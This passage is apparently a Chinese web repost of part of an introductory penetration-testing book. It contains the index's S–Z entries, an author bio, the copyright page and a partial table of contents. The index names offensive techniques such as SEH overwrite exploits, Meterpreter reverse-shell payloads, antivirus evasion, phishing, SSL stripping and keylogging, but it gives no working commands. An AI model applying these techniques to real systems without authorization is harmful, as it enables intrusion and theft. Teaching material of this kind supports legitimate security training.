删除每行的最后一个字符，简化结果

SEH 链，结构化异常处理程序覆盖

查看，结构化异常处理程序覆盖

SEH 覆盖（见结构化异常处理程序覆盖）

SEH 注册记录，结构化异常处理程序覆盖

选择来宾操作系统对话框，目标虚拟机

自签名 SSL 证书，社会工程学测试，SSL 剥离

敏感文件，下载，使用 TFTP 下载文件

服务命令，管理已安装的软件包

服务，管理已安装的软件包

会话，带到前台，Metasploit 后利用模块

SET（社会工程工具包），已签名的 Java 小程序，社会工程学

鱼叉式钓鱼攻击，社会工程工具包

设置有效载荷命令（Metasploit），反向 Shell

setoolkit 命令，社会工程工具包

shell 命令，用于退出 Meterpreter，Linux 上的 Udev 权限提升

shell 脚本，编程

shellcode

使用 Msfvenom 生成，使用 Veil-Evasion 创建加密的 Python 生成的可执行文件，将公共漏洞移植到满足需求

替换，查找返回地址

shellcode 变量，定制 C 代码中的，定制交叉编译

shells，劫持执行

关闭，手动设置有效载荷

类型，测试运行

shikata_ga_nai 编码器，编码

短跳装配指令，SafeSEH

显示高级命令（Metasploit），浏览器利用

显示选项命令（Metasploit），内置搜索，漏洞目标，反向 Shell

显示有效载荷命令（Metasploit），漏洞目标，利用，利用第三方软件中的缓冲区溢出，客户端侧利用

显示目标命令（Metasploit），RHOST，已签名的 Java 小程序

签名

针对 antivirus 应用，移植我们的漏洞代码

针对应用，后门 APK

已签名的 Java 小程序，Java 漏洞

简单邮件传输协议（SMTP），默认端口，端口扫描

Winamp 中的皮肤，恶意代码，Winamp

斜杠（/），作为 sed 中的分隔符，使用 grep

SLMail 5.5，下载并安装，SLMail 5.5

智能手机渗透框架（SPF），使用智能手机渗透框架，近场通信

Android 模拟器，设置 SPF

附加应用，附加 SPF 服务器和应用

附加到已部署的代理，后门源代码

附加到移动调制解调器，设置 SPF

后门 APK，后门源代码

构建 Android 应用，设置 SPF

创建恶意代理，USSD 远程控制

下载并安装，设置 Android 模拟器

通过代理运行利用，使用 Nmap 端口扫描

设置，近场通信

启动，设置 SPF

SMB 捕获，隐匿模式

SMBPIPE 选项，适用于 Metasploit 模块，RHOST

SMS，用于垃圾邮件和钓鱼攻击，使用智能手机渗透测试框架

SMTP（简单邮件传输协议），默认端口，端口扫描

社会工程工具包（SET），已签名的 Java Applet，社会工程学

掠钓攻击，社会工程工具包

社会工程学，社会工程学

批量邮件攻击，批量邮件攻击

多重攻击，多重攻击

测试，使用自签名的 SSL 证书，SSL 去除

Web 攻击，设置监听器

套接字库，Python 脚本

Socks4a，通过中转运行 Exploit

软件

安装易受攻击的系统，让 XP 模拟 Windows 域成员

调查正在运行的程序，查找漏洞，net 命令

用户账户，了解命令：手册页

横幅中的版本，端口扫描

源代码，后门，USSD 远程控制

掠钓攻击，社会工程工具包

选择有效载荷，掠钓攻击

监听器设置，设置目标

命名恶意文件，选择有效载荷

设置选项，选择有效载荷

设置目标，单一或批量邮件

单一邮件与批量邮件，选择有效载荷

模板，单一或批量邮件

特殊字符，避免在有效载荷中使用，获取 Shell

指定磁盘容量对话框，在 Microsoft Windows 上运行 VMware Player

SPF（见智能手机渗透测试框架 (SPF)）

执行 SQL 命令，利用开放的 phpMyAdmin

SQL 注入，使用 Burp Proxy

SQLMap，测试 SQL 注入漏洞

SRVHOST 选项，浏览器利用

SSH，默认的 root 密码，连接 SPF 服务器和应用程序

.ssh 目录，利用被攻击的服务

访问漏洞，运行单个 NSE 脚本

SSH Exec，Pass the Hash

SSH 密钥对，生成，利用开放的 NFS 共享

ssh-add 命令，利用开放的 NFS 共享

ssh-keygen 命令，利用开放的 NFS 共享

SSL（安全套接层）攻击， SSL 攻击

SSL 剥离攻击， SSL 剥离

SSL 证书，无效警告，安装 Nessus

SSLstrip， SSL 剥离

栈，内存理论，内存理论

跟踪 ESP 寄存器，将控制权交给 SEH

作为后进先出（LIFO）结构，在内存中查找攻击字符串

Linux 中的基于栈的缓冲区溢出， Linux 中的基于栈的缓冲区溢出

C 程序易受攻击， Linux 缓冲区溢出

引发崩溃，一个脆弱的程序，运行 GDB

EIP 寄存器控制，在 GDB 中崩溃程序

劫持执行，控制 EIP

Windows 中的基于栈的缓冲区溢出， Windows 中的基于栈的缓冲区溢出

引发崩溃，在 War-FTP 中搜索已知漏洞

获取 Shell，劫持执行

劫持执行，劫持执行

定位 EIP 寄存器，引发崩溃

在 War-FTP 中搜索已知漏洞， Windows 中的基于栈的缓冲区溢出

栈缓冲区， Windows 中的基于栈的缓冲区溢出

栈 Cookies，移植我们的利用代码

分阶段有效负载， Metasploit 有效负载

静态分析， Msfvenom

静态 IP 地址

设置，设置静态 IP 地址，管理网络

针对 Windows 7 目标机器，设置静态 IP 地址

stdio 库（C），编写和编译 C 程序

偷取存储的凭证，收集凭证

停止键盘记录器，键盘记录

存储的 XSS 攻击，命令执行

战略路线图，执行摘要

strcpy 函数，一个脆弱的程序，模糊测试程序

使用 Perl 脚本生成字符串，运行 GDB

强密码，密码管理

结构化异常处理（SEH）覆盖，结构化异常处理覆盖

选择有效负载，选择有效负载

漏洞利用， SEH 覆盖漏洞利用

在内存中查找攻击字符串，将控制权交给 SEH

替换为 POP POP RET，SafeSEH，SafeSEH

SafeSEH，POP POP RET

短跳跃汇编指令，SafeSEH

结构化异常处理程序，传递控制给，SEH 覆写漏洞

su 命令，添加用户

sudo 命令，添加用户

sudoers 文件，添加用户

超级用户（root）提示符，在 Mac OS 上使用 VMware Fusion

开关和流量捕获，网络流量捕获

SYN 扫描，使用 Nmap 端口扫描

Syskey 工具，加密密钥，下载配置文件，从 Windows SAM 文件恢复密码哈希

system() 命令（PHP），利用开源 phpMyAdmin

系统密码哈希，利用被破坏的服务

系统权限，运行会话中的，PSExec

T

Tabnabbing 攻击方法，Web 攻击

目标虚拟机，智能手机渗透测试框架

（参见 Windows 7 目标机器、Windows XP 目标机器、Ubuntu 8.10 目标机器）

TCP 连接

创建套接字，Python 脚本编写

Netcat 工具，用于，设置静态 IP 地址

三路握手，使用 Nmap 端口扫描

TCP 扫描，一个 SYN 扫描

TCP 流，Wireshark 跟踪，过滤流量

技术报告，执行摘要

时效密钥完整性协议（TKIP），破解密钥

Tenable Security，Nessus，将虚拟机连接到网络，从 Nmap 版本扫描到潜在漏洞

测试窗口，前期接触

文本

添加到文件，向文件添加文本

查找，编辑文件，使用 grep

短信，移动黑客攻击中的，使用智能手机渗透测试框架

内存的文本段，内存理论

TFTP（简单文件传输协议）服务器

使用下载文件，利用开源 phpMyAdmin

模糊测试程序，尝试崩溃

数据包，编写 Metasploit 模块

数据包格式，模糊测试一个简单的 FTP 服务器

写入文件，移植我们的漏洞代码

Thawte（证书授权机构），SSL 基础

theHarvester（Python 工具），区域传输

then 语句，在 Bash 脚本中，使用 if 语句添加功能

第三方软件，利用缓冲区溢出，利用第三方软件中的缓冲区溢出

第三方 Web 应用程序，利用，利用第三方软件中的缓冲区溢出

渗透测试的威胁建模阶段，渗透测试入门，前期准备

TikiWiki CMS 软件，利用第三方软件中的缓冲区溢出

TKIP（时序密钥完整性协议），破解密钥

TLS（传输层安全性）加密，Metasploit 有效载荷

/tmp/run 文件（Linux），添加代码到，复制并编译漏洞到目标

令牌冒充，SSHExec

touch 命令，切换用户并使用 sudo

tr 工具（Linux），自定义交叉编译

培训员工，关于社交工程，社交工程

传输层安全性（TLS）加密，Metasploit 有效载荷

Trivial FTP 服务器（见 TFTP（简单 FTP）服务器）

木马，木马

检查 MD5 哈希，Msfvenom

TrustedSec，Social-Engineer Toolkit，社交工程

双因素认证，密码管理

U

UAC（用户账户控制），Windows 的本地提升模块

Ubuntu 8.10 目标机器，智能手机渗透框架

（另见 Linux）

设置，设置 Ubuntu 8.10 目标

udev（Linux 设备管理器），查找漏洞

UDP 扫描，版本扫描，net 命令

UDP 套接字，设置，编写 Metasploit 模块

uname 命令，Linux 上的 Udev 权限提升

非结构化补充服务数据（USSD），客户端 Shell

上传命令（Meterpreter），使用上传命令

上传，Msfvenom 有效载荷，利用 WebDAV 默认凭证

URIPATH 选项，浏览器利用

用户账户控制（UAC），Windows 的本地提升模块

用户账户

添加，了解命令：Man 页面

添加，持久化，持久化

添加到 sudoers 文件，添加用户

在 Windows 中创建，安装和激活 Windows，设置 Ubuntu 8.10 目标

在 Linux 中，了解命令：Man 页面

用于登录 FTP，使用 Arpspoof 进行 ARP 缓存投毒

切换，添加用户

用户列表，字典文件

用户密码（参见密码）

用户权限，学习命令：手册页

USER32.dll，移植公共漏洞以满足你的需求

用户名

查找，区域传输

查找有效，查找有效用户名

使用 Hydra 进行猜测，使用 Hydra 猜测用户名和密码

用户，社会工程学

（另见社会工程学）

通过下载有效负载，选择输出格式

引诱下载并安装 Android 代理，后门源代码

列出所有本地，收集凭证

通过，记录按键，键盘记录

发送消息给联系人，信息收集

/usr/share/exploitdb/platforms/linux/local/8572.c 漏洞，查找漏洞

/usr/share/metasploit-framework/modules/post/windows/gather/credentials 模块，键盘记录

USSD（非结构化补充服务数据），客户端 Shell

V

变量，在 Python 中，Python 脚本编写

Veil-Evasion，使用 Hyperion 加密可执行文件

可用负载，使用 Veil-Evasion 创建加密的 Python 生成可执行文件

安装，Hyperion

Python VirtualAlloc，在使用 Veil-Evasion 创建加密的 Python 生成可执行文件

VeriSign（证书授权中心），SSL 基础

版本扫描，SYN 扫描

Very Secure FTP (Vsftpd) 2.3.4，寻找漏洞，利用第三方 Web 应用，特洛伊木马

vi（文件编辑器），文件权限

编辑文件，编辑文件

虚拟实验室设置，设置虚拟实验室

安装 VMware，设置虚拟实验室

安装易受攻击的软件，让 XP 像 Windows 域成员一样工作

Kali Linux 设置，安装 VMware

目标虚拟机器，智能手机渗透测试框架

Ubuntu 8.10 目标机器，设置 Ubuntu 8.10 目标

Windows 7 目标机器，设置 Ubuntu 8.10 目标

Windows XP 目标机器，目标虚拟机器

虚拟机设置对话框，在 Microsoft Windows 上使用 VMware Player

虚拟机

配置网络，设置 Kali Linux

连接到网络，在 Mac OS 上使用 VMware Fusion

延迟启动，通过物理访问转储密码哈希

目标，智能手机渗透测试框架

虚拟网络及流量捕获，网络捕获流量

VirtualAlloc 注入方法，使用 Windows API 进行 Python Shellcode 注入

VirusTotal，Microsoft 安全基础

编码的二进制结果，编码

VMware，安装，设置你的虚拟实验室

VMware Fusion（Mac OS），安装 VMware，Mac OS 上的 VMware Fusion，Microsoft Windows 上的 VMware Player

安装 VMware Tools，Mac OS 上的 VMware Fusion

VMware Player（Windows），设置你的虚拟实验室，配置虚拟机的网络，安装和激活 Windows

在 Windows XP 上安装，目标虚拟机

VMware Tools

在 Windows XP 目标机器上安装，安装和激活 Windows

在 Windows 7 目标机器上安装，设置 Ubuntu 8.10 目标，取消自动更新

VMware Workstation，安装 VMware

.vmx 配置文件，通过物理访问转储密码哈希

VRFY SMTP 命令，查找有效用户名

Vsftpd（非常安全的 FTP）2.3.4，查找漏洞，利用第三方 Web 应用，木马

漏洞，查找漏洞

在 Java 中，PDF 嵌入的可执行文件

手动分析，默认凭据

研究，导出 Nessus 结果

在 War-FTP 中查找已知漏洞，Windows 中的堆栈溢出

Web 应用扫描，Metasploit 漏洞检查功能

渗透测试的漏洞分析阶段，渗透测试入门，前期准备

漏洞库，Web 应用扫描

漏洞扫描器

Nessus 主页，将虚拟机连接到网络

使用的原因，关于 Nessus 排名的说明

易受攻击的软件，安装，让 XP 像 Windows 域成员一样工作

W

w3af（Web 应用攻击与审计框架），利用 XSS 与浏览器漏洞利用框架

War-FTP

崩溃，获取 Shell，SEH 覆盖漏洞利用

下载并安装，Adobe Acrobat Reader

Python 漏洞利用使其崩溃，导致崩溃

查找已知漏洞, Windows 中的堆栈缓冲区溢出

用户缓冲区溢出, 移植我们的 Exploit 代码

警告，针对嵌入式可执行 PDF 文件, PDF 嵌入式可执行文件

警告: system() [function.system]: 无法执行空命令... 消息, 利用 Open phpMyAdmin

WCE (Windows 凭据编辑器), 破解配置文件密码

Web 应用攻击与审计框架 (w3af), 利用 XSS 和浏览器利用框架

Web 应用测试, Web 应用测试

使用 Burp Proxy, Web 应用测试

命令执行, 本地文件包含

跨站请求伪造, 利用 XSS 和浏览器利用框架

跨站脚本攻击 (XSS), 命令执行

本地文件包含, XPath 注入

远程文件包含, 本地文件包含

使用 w3af 扫描, 利用 XSS 和浏览器利用框架

注册账户, 使用 Burp Proxy

SQL 注入, 使用 Burp Proxy

XPath 注入, XPath 注入

网络应用

访问服务器端源代码, 本地文件包含

第三方软件，利用, 利用第三方软件中的缓冲区溢出

漏洞扫描, Metasploit 漏洞检测功能

网络浏览器（见浏览器）

Web 服务器

复制应用到, 部署应用

在目标上运行脚本, 利用 WebDAV 默认凭据

Web 服务器软件, 系统权限和, 上传 Msfvenom 有效负载

WebDAV（Web 分布式创作与版本控制）软件, 攻击 XAMPP

利用默认凭据, Meterpreter

WebEx, Java 使用, 总结

WebKit 包，攻击, 默认 iPhone SSH 登录

网站，密码字典, 密码字典

WEP（见有线等效隐私 (WEP)）

wget 命令, 寻找漏洞

whoami 命令, 打开命令行监听器, 将代码添加到 /tmp/run 文件

whois 查询, Whois 查询

Wi-Fi 保护访问 (WPA), 破解密钥

Wi-Fi 保护设置（WPS）, 使用 Aircrack-ng 破解 WPA/WPA2 密钥

Wifite 工具, 破解密钥, 使用 Aircrack-ng 破解 WPA/WPA2 密钥

Winamp

安装, 添加第二个网络接口

替换配置文件，browser_autopwn

Windows

API，使用 Railgun 访问，Metasploit 后期利用模块

剪贴板，窃取数据，利用 XSS 与浏览器利用框架

防火墙

响应 ping，设置静态 IP 地址

关闭，关闭 Windows 防火墙

安全帐户管理器 (SAM) 文件

下载，下载配置文件

从中恢复密码哈希，离线密码攻击

服务控制管理器，远程过程调用 (RPC)，检查 Bash 历史记录

Syskey 工具，下载配置文件

VMware Player，设置虚拟实验室、为虚拟机配置网络

Windows 7 目标机器，设置 Ubuntu 8.10 目标

添加第二个网络接口，添加第二个网络接口

绕过 UAC，Windows 本地提权模块

创建用户帐户，设置 Ubuntu 8.10 目标

通过物理攻击转储哈希，从 Windows SAM 文件中恢复密码哈希

安装附加软件，添加第二个网络接口

选择退出自动更新，选择退出自动更新

Powershell，命令执行

关闭实时保护，安装附加软件

Windows 2000，LM 哈希存储，John the Ripper

Windows 凭证编辑器 (WCE)，破解配置文件密码

Windows XP 目标机器，智能手机渗透测试框架

激活，安装和激活 Windows

创建，目标虚拟机

安装，安装和激活 Windows

LM 哈希存储，John the Ripper

本地特权提升，在 Windows 上使用 getsystem

Nessus 漏洞检测，使用 Nessus 扫描

设置为 Windows 域成员，设置静态 IP 地址

windows/local/bypassuac 漏洞，绕过 Windows 上的 UAC

windows/meterpreter/bind_tcp 负载，通过跳板运行漏洞利用

windows/meterpreter/reverse_tcp 负载，选择负载、编码、使用 Veil-Evasion 创建加密的 Python 生成的可执行文件

windows/smb/ms08_067_netapi 模块，在 Metasploit 中添加路由

WinSCP，键盘记录

下载并安装，Adobe Acrobat Reader

有线等效隐私 (WEP)，捕获数据包

挑战，破解密钥

使用 Aircrack-ng 破解密钥，使用 Aircrack-ng 破解 WEP 密钥

弱点，有线等效隐私

无线攻击，无线攻击

捕获数据包，监控模式

扫描接入点，扫描接入点

设置，无线攻击

查看可用接口，设置

Wi-Fi 保护访问，破解密钥

Wi-Fi 保护设置 (WPS)，使用 Aircrack-ng 破解 WPA/WPA2 密钥

有线等效隐私 (WEP)，捕获数据包

WPA2，WPA2

无线网络

监控模式，扫描接入点

开放，捕获数据包

Wireshark，用于捕获流量的网络

捕获流量，用于捕获流量的网络

分析数据包，解析数据包

过滤流量，捕获流量

跟踪 TCP 流，过滤流量

查看 WPA2 握手，使用 Aircrack-ng 破解 WPA/WPA2 密钥

密码的字典列表，字典列表

工作组设置，适用于 Windows XP，安装和激活 Windows

WPA (Wi-Fi 保护访问)，破解密钥

WPA2，WPA2

破解密钥，四路握手

针对字典攻击，使用 Aircrack-ng 破解 WPA/WPA2 密钥

企业连接过程，WPA2

四路握手，四路握手

个人连接过程，WPA2

WPS (Wi-Fi 保护设置)，使用 Aircrack-ng 破解 WPA/WPA2 密钥

写入 (w) 权限，文件权限

X

x/16xw $esp 命令 (GDB)，运行 GDB

XAMPP

Apache，默认安装位置，利用 phpMyAdmin 漏洞

攻击，Web 应用扫描

默认凭证，攻击 XAMPP

WebDav 默认登录凭证，Meterpreter

安装，3Com TFTP 2.0.1

启动控制面板，3Com TFTP 2.0.1

XML

攻击，XPath 注入

用户名和密码，本地文件包含

Xpath，SQL 注入

注入，XPath 注入

xp_cmdshell() 函数，使用 TFTP 下载文件

xp_cmdshell 存储过程，使用 SQLMap

xphashes.txt 文件，John the Ripper

XSS（跨站脚本攻击），命令执行

检查反射型漏洞，检查反射型 XSS 漏洞

利用 BeEF，通过浏览器利用框架（BeEF）利用 XSS

Z

零日漏洞，浏览器利用，总结

Zervit 服务器，让 XP 表现得像是 Windows 域的成员

来自 Nmap 扫描的崩溃，UDP 扫描，扫描特定端口

区域传输，DNS，Nslookup

第二十四章：关于作者

Georgia Weidman 是一名渗透测试员、研究员，以及安全咨询公司 Bulb Security 的创始人。她曾在全球各大会议上演讲，包括 BlackHat、Shmoocon 和 Derbycon，并教授关于渗透测试、移动黑客攻击以及漏洞开发等课程。2012 年，她获得了 DARPA 网络快速跟踪计划的资助，以继续她在移动设备安全方面的研究工作。

第二十五章：《渗透测试：黑客实战入门》

Georgia Weidman

渗透测试。

初版

18 17 16 15 14 1 2 3 4 5 6 7 8 9

ISBN-10: 1-59327-564-1

ISBN-13: 978-1-59327-564-8

出版者：William Pollock

制作编辑：Alison Law

封面插图：Mertsaloff/Shutterstock

内部设计：Octopod Studios

编辑：William Pollock

技术审阅：Jason Oliver

校对员：Pamela Hunt

排版员：Susan Glinert Stevens

校对员：James Fraleigh

索引员：Nancy Guenther

有关发行、翻译或批量销售的信息，请直接联系 No Starch Press, Inc.：

美国国会图书馆出版数据

Weidman, Georgia.

渗透测试：黑客实战入门 / Georgia Weidman.

页数 cm

包含索引。

ISBN 978-1-59327-564-8（平装本） -- ISBN 1-59327-564-1（平装本）

渗透测试（计算机安全） 2. Kali Linux. 3. 计算机黑客。 I. 标题。

QA76.9.A25W4258 2014

005.8’092--dc23

2014001066

No Starch Press 和 No Starch Press 标志是 No Starch Press, Inc. 的注册商标。文中提到的其他产品和公司名称可能是其各自所有者的商标。我们并未在每次出现商标名称时使用商标符号，而是以编辑方式使用这些名称，并且仅为商标所有者的利益，不涉及商标侵权。

本书中的信息按“现状”提供，不附带任何保证。尽管在准备本书时已采取一切预防措施，但作者和 No Starch Press, Inc. 对任何因本书内容直接或间接造成的任何损失或损害概不负责。

No Starch Press

2014-05-22T07:50:40-07:00

posted @ 2025-12-01 09:40 绝不原创的飞龙阅读(0) 评论(0) 收藏举报

刷新页面返回顶部

龙哥盟

掠夺·扩张·投机·博弈

渗透测试指南-全-

渗透测试指南（全）

前言

感谢致辞

关于本书

第一部分：基础知识

第二部分：评估

第三部分：攻击

第四部分：漏洞开发

第五部分：移动黑客

第一章：渗透测试概述

渗透测试的阶段

注意事项

预 engagement

信息收集

威胁建模

漏洞分析

利用

后期利用

报告

执行摘要

技术报告

总结

第一部分：基础知识

第一章 设置您的虚拟实验室

安装 VMware

设置 Kali Linux

注意

配置虚拟机的网络

注意

Microsoft Windows 上的 VMware Player

Mac OS 上的 VMware Fusion

连接虚拟机到网络

注意

测试你的互联网访问

安装 Nessus

注意

安装额外的软件

Ming C 编译器

Hyperion

Veil-Evasion

Ettercap

设置 Android 模拟器

注意

智能手机渗透框架

目标虚拟机

创建 Windows XP 目标

VMware Player 在 Microsoft Windows 上

注意

在 Mac OS 上的 VMware Fusion

安装和激活 Windows

安装 VMware 工具

在 Microsoft Windows 上使用 VMware Player

在 Mac OS 上的 VMware Fusion

关闭 Windows 防火墙

设置用户密码

设置静态 IP 地址

注意

让 XP 像 Windows 域成员一样工作

安装脆弱软件

Zervit 0.4

SLMail 5.5

3Com TFTP 2.0.1

XAMPP 1.7.2

Adobe Acrobat Reader

War-FTP

WinSCP

安装 Immunity Debugger 和 Mona

设置 Ubuntu 8.10 目标

创建 Windows 7 目标

注意

创建用户账户

选择不进行自动更新

设置静态 IP 地址

添加第二个网络接口

安装额外的软件

总结

第二章. 使用 Kali Linux

第一章设置您的虚拟实验室

使用`if`语句增加功能

`for`循环

第四章使用 Metasploit 框架